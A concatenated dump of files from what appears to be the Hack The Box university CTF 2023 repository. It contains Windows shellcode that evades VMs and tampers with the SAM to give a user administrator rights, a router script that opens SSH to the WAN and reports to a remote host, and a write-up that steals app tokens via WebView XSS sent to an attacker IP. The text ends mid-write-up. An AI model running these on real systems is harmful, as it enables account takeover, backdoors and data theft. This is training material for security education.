functions 84 | WinExec_t _WinExec = (WinExec_t)_GetProcAddress((HMODULE)kernel32_dll, WinExec_str); 85 | lstrcatA_t _lstrcatA = (lstrcatA_t)_GetProcAddress((HMODULE)kernel32_dll, lstrcatA_str); 86 | 87 | if (!_WinExec || !_lstrcatA) return 5; 88 | 89 | // Load advapi32.dll functions 90 | RegGetValueA_t _RegGetValueA = (RegGetValueA_t)_GetProcAddress((HMODULE)advapi32_dll, RegGetValueA_str); 91 | RegSetKeyValueA_t _RegSetKeyValueA = (RegSetKeyValueA_t)_GetProcAddress((HMODULE)advapi32_dll, RegSetKeyValueA_str); 92 | RegOpenKeyExA_t _RegOpenKeyExA = (RegOpenKeyExA_t)_GetProcAddress((HMODULE)advapi32_dll, RegOpenKeyExA_str); 93 | 94 | if (!_RegGetValueA || !_RegSetKeyValueA || !_RegOpenKeyExA) return 6; 95 | 96 | // Load user32.dll functions 97 | wsprintfA_t _wsprintfA = (wsprintfA_t)_GetProcAddress((HMODULE)user32_dll, wsprintfA_str); 98 | 99 | if (!_wsprintfA) return 7; 100 | 101 | // Load netapi32.dll functions 102 | NetUserSetInfo_t _NetUserSetInfo = (NetUserSetInfo_t)_GetProcAddress((netapi32_dll), NetUserSetInfo_str); 103 | 104 | if (!_NetUserSetInfo) return 8; 105 | //////////// DBG Checks! 106 | 107 | 108 | 109 | HKEY hKey; 110 | LSTATUS vm_status = _RegOpenKeyExA(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\VMware, Inc.\\VMware Tools"), 0, KEY_QUERY_VALUE, &hKey); 111 | if (vm_status == ERROR_SUCCESS) return 101; 112 | 113 | //////////// Execution 114 | 115 | // Add user 116 | // UINT winex_status = _WinExec(user_add_str, 0); 117 | // if (winex_status < 31) return 8; 118 | 119 | 120 | // Find RID of the newly added user 121 | LPDWORD __user_rid; 122 | LSTATUS status = _RegGetValueA(HKEY_LOCAL_MACHINE, reg_username_key_str, NULL, RRF_RT_ANY, &__user_rid, NULL, NULL); 123 | if (status != 0) return 9; 124 | 125 | char subkey[64]; 126 | int f_size = 0x50; 127 | int user_rid = (int)__user_rid; 128 | char reg_F_value[0x50]; 129 | 130 | _wsprintfA(subkey, "%s%08x\0", reg_users_key_str, user_rid); 131 | // Grab the F value 132 | status = _RegGetValueA(HKEY_LOCAL_MACHINE, subkey, F, RRF_RT_ANY, NULL, reg_F_value, &f_size); 133 | if (status != 0) return 10; 134 | 135 | // User is now "Default Admin" 136 | reg_F_value[0x30] = 0xf4; 137 | reg_F_value[0x31] = 0x01; 138 | 139 | // Set F value back 140 | status = _RegSetKeyValueA(HKEY_LOCAL_MACHINE, subkey, F, RRF_RT_ANY, reg_F_value, f_size); 141 | if (status != 0) return 11; 142 | 143 | 144 | fix(new_pass, key); 145 | 146 | // Change password 147 | DWORD dwLevel = 1003; 148 | USER_INFO_1003 ui; 149 | DWORD nStatus; 150 | 151 | ui.usri1003_password = new_pass; 152 | 153 | nStatus = _NetUserSetInfo(NULL, username_str, dwLevel, (LPBYTE)&ui, NULL); 154 | 155 | if (nStatus != 0) return 12; 156 | 157 | 158 | /*_wsprintfA(reg_F_value, "%s %s\0", pass_change_cmd_str, new_pass); 159 | int winex_status = _WinExec(reg_F_value, 0); 160 | if (winex_status < 31) return 12;*/ 161 | 162 | return 0; 163 | } -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/peb_lookup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #ifndef __NTDLL_H__ 5 | 6 | #ifndef TO_LOWERCASE 7 | #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) 8 | #endif 9 | 10 | 11 | typedef struct _UNICODE_STRING 12 | { 13 | USHORT Length; 14 | USHORT MaximumLength; 15 | PWSTR Buffer; 16 | 17 | } UNICODE_STRING, * PUNICODE_STRING; 18 | 19 | typedef struct _PEB_LDR_DATA 20 | { 21 | ULONG Length; 22 | BOOLEAN Initialized; 23 | HANDLE SsHandle; 24 | LIST_ENTRY InLoadOrderModuleList; 25 | LIST_ENTRY InMemoryOrderModuleList; 26 | LIST_ENTRY InInitializationOrderModuleList; 27 | PVOID EntryInProgress; 28 | 29 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 30 | 31 | //here we don't want to use any functions imported form extenal modules 32 | 33 | typedef struct _LDR_DATA_TABLE_ENTRY { 34 | LIST_ENTRY InLoadOrderModuleList; 35 | LIST_ENTRY InMemoryOrderModuleList; 36 | LIST_ENTRY InInitializationOrderModuleList; 37 | void* BaseAddress; 38 | void* EntryPoint; 39 | ULONG SizeOfImage; 40 | UNICODE_STRING FullDllName; 41 | UNICODE_STRING BaseDllName; 42 | ULONG Flags; 43 | SHORT LoadCount; 44 | SHORT TlsIndex; 45 | HANDLE SectionHandle; 46 | ULONG CheckSum; 47 | ULONG TimeDateStamp; 48 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 49 | 50 | 51 | typedef struct _PEB 52 | { 53 | BOOLEAN InheritedAddressSpace; 54 | BOOLEAN ReadImageFileExecOptions; 55 | BOOLEAN BeingDebugged; 56 | BOOLEAN SpareBool; 57 | HANDLE Mutant; 58 | 59 | PVOID ImageBaseAddress; 60 | PPEB_LDR_DATA Ldr; 61 | 62 | // [...] this is a fragment, more elements follow here 63 | 64 | } PEB, * PPEB; 65 | 66 | #endif //__NTDLL_H__ 67 | 68 | inline LPVOID get_module_by_name(WCHAR* module_name) 69 | { 70 | PPEB peb = NULL; 71 | #if defined(_WIN64) 72 | peb = (PPEB)__readgsqword(0x60); 73 | #else 74 | peb = (PPEB)__readfsdword(0x30); 75 | #endif 76 | PPEB_LDR_DATA ldr = peb->Ldr; 77 | LIST_ENTRY list = ldr->InLoadOrderModuleList; 78 | 79 | PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); 80 | PLDR_DATA_TABLE_ENTRY curr_module = Flink; 81 | 82 | while (curr_module != NULL && curr_module->BaseAddress != NULL) { 83 | if (curr_module->BaseDllName.Buffer == NULL) continue; 84 | WCHAR* curr_name = curr_module->BaseDllName.Buffer; 85 | 86 | size_t i = 0; 87 | for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) { 88 | WCHAR c1, c2; 89 | TO_LOWERCASE(c1, module_name[i]); 90 | TO_LOWERCASE(c2, curr_name[i]); 91 | if (c1 != c2) break; 92 | } 93 | if (module_name[i] == 0 && curr_name[i] == 0) { 94 | //found 95 | return curr_module->BaseAddress; 96 | } 97 | // not found, try next: 98 | curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; 99 | } 100 | return NULL; 101 | } 102 | 103 | inline LPVOID get_func_by_name(LPVOID module, char* func_name) 104 | { 105 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module; 106 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 107 | return NULL; 108 | } 109 | IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew); 110 | IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); 111 | if (exportsDir->VirtualAddress == NULL) { 112 | return NULL; 113 | } 114 | 115 | DWORD expAddr = exportsDir->VirtualAddress; 116 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module); 117 | SIZE_T namesCount = exp->NumberOfNames; 118 | 119 | DWORD funcsListRVA = exp->AddressOfFunctions; 120 | DWORD funcNamesListRVA = exp->AddressOfNames; 121 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; 122 | 123 | //go through names: 124 | for (SIZE_T i = 0; i < namesCount; i++) { 125 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD)); 126 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD)); 127 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD)); 128 | 129 | LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module); 130 | size_t k = 0; 131 | for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) { 132 | if (func_name[k] != curr_name[k]) break; 133 | } 134 | if (func_name[k] == 0 && curr_name[k] == 0) { 135 | //found 136 | return (BYTE*)module + (*funcRVA); 137 | } 138 | } 139 | return NULL; 140 | } -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\vc143.pdb 2 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\vc143.idb 3 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\main.obj 4 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\x64\debug\uni-ctf-shellcode.exe 5 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-shellcode.ilk 6 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\x64\debug\uni-ctf-shellcode.pdb 7 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.command.1.tlog 8 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.items.tlog 9 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.read.1.tlog 10 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.write.1.tlog 11 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\link.command.1.tlog 12 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\link.read.1.tlog 13 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\link.write.1.tlog 14 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.exe.recipe: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | C:\Users\Anoteros_Mastros\source\repos\UNI-ctf-shellcode\x64\Debug\UNI-ctf-shellcode.exe 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.log: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.vcxproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.vcxproj.FileListAbsolute.txt -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/flag.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/assets/root.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/root.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/assets/symlinks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/symlinks.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/assets/xor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/xor.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-rootfs.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-rootfs.tar.gz -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Medium] ZombieNet/htb/reanimate.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | WAN_IP=$(ip -4 -o addr show pppoe-wan | awk '{print $4}' | cut -d "/" -f 1) 4 | ROUTER_IP=$(ip -4 -o addr show br-lan | awk '{print $4}' | cut -d "/" -f 1) 5 | 6 | CONFIG="config redirect \n\t 7 | option dest 'lan' \n\t 8 | option target 'DNAT' \n\t 9 | option name 'share' \n\t 10 | option src 'wan' \n\t 11 | option src_dport '61337' \n\t 12 | option dest_port '22' \n\t 13 | option family 'ipv4' \n\t 14 | list proto 'tcpudp' \n\t 15 | option dest_ip '${ROUTER_IP}'" 16 | 17 | echo -e $CONFIG >> /etc/config/firewall 18 | /etc/init.d/firewall restart 19 | 20 | curl -X POST -H "Content-Type: application/json" -b "auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d '{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/burp1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/burp1.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/emailpreview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/emailpreview.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/home.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/home1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home1.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/home3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home3.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/home4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home4.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/jadx1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/jadx1.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/leak.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/leak.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/leaked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/leaked.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/nginx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/nginx.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/nmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/nmap.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/pdfgen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/pdfgen.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/pspy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/pspy.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/root.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/root.txt -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/ser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/ser.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/assets/xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/xss.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/official_writeup.md: -------------------------------------------------------------------------------- 1 | s![img](assets/banner.png) 2 | 3 | 4 | 5 | AndroCat 6 | 7 | ​ 24th Oct 2023 / D2x.xx.xx 8 | 9 | ​ Prepared By: Xclow3n 10 | 11 | ​ Challenge Author(s): Xclow3n 12 | 13 | ​ Difficulty: Medium 14 | 15 | ​ Classification: Official 16 | 17 | 18 | 19 | 20 | 21 | # [Synopsis](#synopsis) 22 | 23 | AndroCat is a medium Linux machine that involves reversing an Android app and exploiting an insecure implementation of webview in the Android app, allowing attackers to perform XSS and stealing shared preferences files, allowing attackers to get admin token, then exploiting an XSS in dynamic PDF generation, and escalating it to read local files and leak ssh keys for rick user then rick user can run logrotate as root using [this blog](https://joshua.hu/gaining-root-with-logrotate-sudo-ubuntu) we can overwrite a cron script running as root and get shell as root. 24 | 25 | 26 | 27 | # Solution 28 | 29 | ### Enumeration 30 | 31 | ```bash 32 | ports=$(nmap -p- --min-rate=1000 -T4 10.129.228.64 | grep ^[0-9] | cut -d '/' -f 33 | 1 | tr '\n' ',' | sed s/,$//) 34 | nmap -p$ports -sC -sV 10.129.228.64 35 | ``` 36 | 37 | ![img](assets/nmap.png) 38 | 39 | The Nmap output reveals that two ports are open, ssh and nginx. Visiting nginx on port 80 gives us the default nginx web page. 40 | 41 | ![img](assets/nginx.png) 42 | 43 | There is little to do here. We are also provided with an app. Let's open the app in an emulator. 44 | Opening the app, we get the following login page, and we can also register a user. 45 | 46 | ![img](assets/home.png) 47 | 48 | 49 | 50 | When registering a user, we get a "Something Went Wrong" message. Let's intercept the request with burpsuite 51 | 52 | ![img](assets/burp1.png) 53 | 54 | We can see it sending a web request to `campusconnect.htb`, let's add that to our `/etc/hosts` and try logging in and registering again. After updating `/etc/hosts`, we can register and login, and we get the following page after logging in. 55 | 56 | ![img](assets/home1.png) 57 | 58 | When we try to post something we can see the following interesting note 59 | 60 | ![img](assets/home3.png) 61 | 62 | let's post a simple xss payload: `` 63 | 64 | ![img](assets/home4.png) 65 | 66 | We have a stored XSS, but there are no cookies. Let's open this app in jadx, check the source code, and see how this application is created. 67 | 68 | We can see there is some AdminActivity in this Android app. 69 | 70 | ![img](assets/jadx1.png) 71 | 72 | Let's take a look at the login functionality. 73 | 74 | ```java 75 | public void onResponse(JSONObject jSONObject2) { 76 | try { 77 | if (!jSONObject2.getString("token").isEmpty()) { 78 | MainActivity.this.sharedPreferenceClass.setValueString("token", jSONObject2.getString("token")); 79 | if (jSONObject2.has("adminToken")) { 80 | MainActivity.this.sharedPreferenceClass.setValueString("adminToken", jSONObject2.getString("adminToken")); 81 | MainActivity.this.goToAnotherActivity(AdminActivity.class); 82 | } else { 83 | MainActivity.this.goToAnotherActivity(HomeActivity.class); 84 | } 85 | } 86 | } catch (JSONException unused) { 87 | Toast.makeText(MainActivity.this, "Invalid Credentials", 1).show(); 88 | } 89 | } 90 | ``` 91 | 92 | If the login json response has a token key, store it in the shared preferences, and if there is an `adminToken ` key in the response, save it inside `sharedPreferences` and go to `AdminActivity`. Still, if there is no `adminToken` in the response, go to `HomeActivity`. 93 | 94 | This implementation is not secure as `Shared Preferences are stored as a file in the filesystem on the device. They are, by default, stored within the app's data directory with filesystem permissions set that only allow the UID that the specific application runs with to access them. So, they are private in so much as Linux file permissions restrict access to them, the same as on any Linux/Unix system.` 95 | 96 | 97 | 98 | Taking a look at `SharedPreferenceClass` 99 | 100 | ```java 101 | private static final String USER_PREF = "user"; 102 | private SharedPreferences appShared; 103 | private SharedPreferences.Editor prefsEditor; 104 | 105 | public SharedPreferenceClass(Context context) { 106 | SharedPreferences sharedPreferences = context.getSharedPreferences(USER_PREF, 0); 107 | this.appShared = sharedPreferences; 108 | this.prefsEditor = sharedPreferences.edit(); 109 | } 110 | ``` 111 | 112 | So when storing this token, the application will create an XML file named `user.xml` under `/data/data/com.example.campusconnect/shared_prefs/` folder. Taking a look at the `HomeActivity` 113 | 114 | ```java 115 | public void onCreate(Bundle bundle) { 116 | super.onCreate(bundle); 117 | setContentView(R.layout.activity_home); 118 | final String string = getSharedPreferences("user", 0).getString("token", ""); 119 | WebView webView = (WebView) findViewById(R.id.webView); 120 | this.webView = webView; 121 | webView.getSettings().setJavaScriptEnabled(true); 122 | this.webView.getSettings().setDomStorageEnabled(true); 123 | this.webView.loadUrl("file:///android_asset/index.html"); 124 | this.webView.setWebChromeClient(new WebChromeClient()); 125 | this.webView.setWebViewClient(new WebViewClient() { 126 | @Override // android.webkit.WebViewClient 127 | public WebResourceResponse shouldInterceptRequest(WebView webView2, WebResourceRequest webResourceRequest) { 128 | Uri url = webResourceRequest.getUrl(); 129 | if (url.getPath().startsWith("/local_cache/")) { 130 | File file = new File(HomeActivity.this.getCacheDir(), url.getLastPathSegment()); 131 | if (file.exists()) { 132 | try { 133 | FileInputStream fileInputStream = new FileInputStream(file); 134 | HashMap hashMap = new HashMap(); 135 | hashMap.put(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, "*"); 136 | return new WebResourceResponse("text/html", "utf-8", 200, "OK", hashMap, fileInputStream); 137 | } catch (IOException unused) { 138 | return null; 139 | } 140 | } 141 | } 142 | return super.shouldInterceptRequest(webView2, webResourceRequest); 143 | } 144 | 145 | @Override // android.webkit.WebViewClient 146 | public void onPageFinished(WebView webView2, String str) { 147 | super.onPageFinished(webView2, str); 148 | HomeActivity.this.webView.evaluateJavascript("javascript:putDataInStorage('backendUrl', '" + HomeActivity.this.getString(R.string.backend_url) + "')", null); 149 | HomeActivity.this.webView.evaluateJavascript("javascript:putDataInStorage('token', '" + string + "')", null); 150 | HomeActivity.this.webView.evaluateJavascript("javascript:populatePosts()", null); 151 | } 152 | }); 153 | } 154 | ``` 155 | 156 | The application uses `WebView` in the `HomeActivity`, and it intercepts all the requests from the `WebView`. If the request URI matches a given pattern, then the response is returned from the app resources or local files. The problem arises when an attacker can manipulate the path of the returned file and, through XHR requests, gain access to arbitrary files. 157 | Since we already have a XSS we can steal the `adminToken` using the following payload 158 | 159 | ```javascript 160 | function theftFile(path, callback) { 161 | var oReq = new XMLHttpRequest(); 162 | 163 | oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); 164 | oReq.onload = function(e) { 165 | callback(oReq.responseText); 166 | } 167 | oReq.onerror = function(e) { 168 | callback(null); 169 | } 170 | oReq.send(); 171 | } 172 | 173 | theftFile("shared_prefs/user.xml", function(contents) { 174 | location.href = "http://10.10.14.36/?data=" + encodeURIComponent(contents); 175 | }); 176 | ``` 177 | 178 | 179 | 180 | Let's store this in a javascript file start a HTTP Server, and use the following payload to trigger it. 181 | 182 | ```html 183 | 184 | ``` 185 | 186 | After waiting for 1-2 minutes we get the following calls on our python server 187 | 188 | ``` 189 | Serving HTTP on :: port 80 (http://[::]:80/) ... 190 | ::ffff:10.129.230.59 - - [30/Oct/2023 07:12:26] "GET /exp.js HTTP/1.1" 200 - 191 | ::ffff:10.129.230.59 - - [30/Oct/2023 07:12:27] "GET /?data=%3C%3Fxml%20version%3D%271.0%27%20encoding%3D%27utf-8%27%20standalone%3D%27yes%27%20%3F%3E%0A%3Cmap%3E%0A%20%20%20%20%3Cstring%20name%3D%22adminToken%22%3EeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6Im1vZGVyYXRvciIsImZvciI6ImFkbWluLmNhbXB1c2Nvbm5lY3QuaHRiIiwiaWF0IjoxNjk4NjMwMTc5fQ.UDZ9zcoHV73ma_I5UV7V_mgEcMWaGyz0DL5IixOKWQw%3C%2Fstring%3E%0A%20%20%20%20%3Cstring%20name%3D%22token%22%3EeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6InRlYWNoZXIiLCJmb3IiOiJjYW1wdXNjb25uZWN0Lmh0YiIsImlhdCI6MTY5ODYzMDE3OX0.-u-m-lqzrVjx0dQG-tcH4x2KMGFlJXcTYa1sCz90cyk%3C%2Fstring%3E%0A%3C%2Fmap%3E%0A HTTP/1.1" 200 - 192 | ``` 193 | 194 | We got the `Admin Token`. After getting admin, there is an endpoint in `admin.campusconnect.htb` named `/api/exportAttendance`, and we have to include the admin token as a header named `admin-token` 195 | 196 | ![img](assets/pdfgen.png) 197 | 198 | We get a PDF, and we can see our newly created user is also there, So I'm assuming it's generating dynamic PDF through a browser. Let's see if we can get XSS, thereby registering a new user with our payload in the name. 199 | 200 | Payload: `` 201 | 202 | 